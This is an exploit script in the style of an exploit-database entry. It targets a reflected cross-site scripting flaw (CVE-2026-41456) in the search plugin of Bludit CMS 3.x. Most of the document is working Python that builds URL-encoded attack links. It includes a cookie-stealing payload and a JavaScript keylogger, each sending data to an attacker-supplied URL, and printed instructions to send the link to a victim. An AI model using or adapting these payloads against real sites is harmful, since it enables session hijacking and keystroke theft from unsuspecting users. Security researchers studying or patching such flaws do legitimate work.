# Exploit Title: Bludit CMS 3.20.0 - Reflected Cross-Site Scripting
# Date: 2026-08-11
# Exploit Author: [Ranjit Kumar Singh]
# Vendor Homepage: https://www.bludit.com/
# Software Link:
https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip
# Version: 3.0.0 through 3.20.0 (all versions before commit 6732dde)
# Tested on: Ubuntu 20.04 / Apache 2.4 / PHP 7.4 / Windows 10 / PowerShell
# CVE: CVE-2026-41456
"""
CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin
Exploit Author: [Ranjit Kumar Singh]
Vendor: https://www.bludit.com/
Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip
Vulnerable Versions: Bludit CMS 3.0.0 through 3.20.0 (before commit 6732dde)
Tested on: Ubuntu / Windows / PHP 7.4
Description:
The search plugin reflects the search term inside an HTML attribute (value="...").
To exploit, you must break out of the attribute using "> and then inject a tag.
This script builds a correctly URL-encoded /search/ endpoint URL.
Usage (Windows / Linux):
# Use built-in payload types (recommended)
python CVE-2026-41456.py -u http://target -t alert
python CVE-2026-41456.py -u http://target -t steal -a http://attacker/log
python CVE-2026-41456.py -u http://target -t keylog -a http://attacker/log
# Use -j to provide only JavaScript code (script will add breakout and .gif)
python CVE-2026-41456.py -u http://target -j "alert('XSS')" # Linux
python CVE-2026-41456.py -u http://target -j 'alert("XSS")' # Windows (PowerShell)
# For full control, use -p (must include "> breakout and .gif suffix)
python CVE-2026-41456.py -u http://target -p "\"><img src=1 onerror=alert(1)>.gif"
"""
import argparse
import urllib.parse
import sys
import webbrowser
def build_payload(base_url, payload):
"""Build the full XSS URL with the payload placed in the /search/ path."""
if not base_url.endswith('/'):
base_url += '/'
encoded_payload = urllib.parse.quote(payload, safe='')
full_url = f"{base_url}search/{encoded_payload}"
return full_url
def generate_alert_payload():
return '"><img src=1 onerror=alert("XSS")>.gif'
def generate_steal_cookie_payload(attacker_url):
return f'"><script>document.location="{attacker_url}?c="+encodeURIComponent(document.cookie)</script>.gif'
def generate_keylogger_payload(attacker_url):
payload = f"""
"><script>
var keys = '';
document.onkeypress = function(e) {{
keys += e.key;
if (keys.length > 50) {{
new Image().src = '{attacker_url}?k=' + encodeURIComponent(keys);
keys = '';
}}
}};
</script>.gif
"""
return ''.join(payload.split())
def interactive_payload_builder():
print("[*] Interactive Payload Builder")
print("1. Simple Alert (Proof of Concept)")
print("2. Steal Cookies (requires attacker URL)")
print("3. Keylogger (requires attacker URL)")
print("4. Custom JavaScript (you write the code)")
choice = input("Select payload type [1-4]: ").strip()
if choice == "1":
return generate_alert_payload()
elif choice == "2":
attacker_url = input("Enter attacker URL to receive cookies (e.g., http://attacker/log): ").strip()
if not attacker_url:
print("[-] Attacker URL required.")
return None
return generate_steal_cookie_payload(attacker_url)
elif choice == "3":
attacker_url = input("Enter attacker URL to receive keystrokes: ").strip()
if not attacker_url:
print("[-] Attacker URL required.")
return None
return generate_keylogger_payload(attacker_url)
elif choice == "4":
custom = input("Enter your JavaScript code (e.g., alert('XSS')): ").strip()
if not custom:
print("[-] Payload cannot be empty.")
return None
return f'"><script>{custom}</script>.gif'
else:
print("[-] Invalid choice.")
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin"
)
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target) – script will append /search/")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-p", "--payload", help="Custom full payload (must include breakout syntax, e.g., \"><img src=1 onerror=alert(1)>.gif)")
group.add_argument("-j", "--js", help="Raw JavaScript code (script will add '><script>...</script>.gif')")
group.add_argument("-t", "--type", choices=["alert", "steal", "keylog"], help="Predefined payload type")
group.add_argument("--interactive", action="store_true", help="Interactive payload builder")
parser.add_argument("-a", "--attacker", help="Attacker URL for steal/keylog payloads (required with -t steal or keylog)")
parser.add_argument("--open", action="store_true", help="Open the crafted URL in the default browser")
args = parser.parse_args()
base_url = args.url.rstrip('/')
payload = None
if args.payload:
payload = args.payload
elif args.js:
payload = f'"><script>{args.js}</script>.gif'
elif args.type:
if args.type == "alert":
payload = generate_alert_payload()
elif args.type == "steal":
if not args.attacker:
print("[-] --attacker URL required for steal payload")
sys.exit(1)
payload = generate_steal_cookie_payload(args.attacker)
elif args.type == "keylog":
if not args.attacker:
print("[-] --attacker URL required for keylog payload")
sys.exit(1)
payload = generate_keylogger_payload(args.attacker)
elif args.interactive:
payload = interactive_payload_builder()
if payload is None:
sys.exit(1)
else:
parser.print_help()
sys.exit(1)
# Debug: show raw payload before encoding
print(f"[*] Raw payload: {payload}")
exploit_url = build_payload(base_url, payload)
print(f"[+] Exploit URL generated:")
print(f"{exploit_url}")
print("\n[+] Instructions:")
print(" - Send this URL to a victim (or use --open to test locally).")
print(" - The JavaScript will execute in the victim's browser.")
if args.open:
print("[*] Opening URL in default browser...")
webbrowser.open(exploit_url)
print("\n[+] URL for copy-paste:")
print(exploit_url)
if __name__ == "__main__":
main()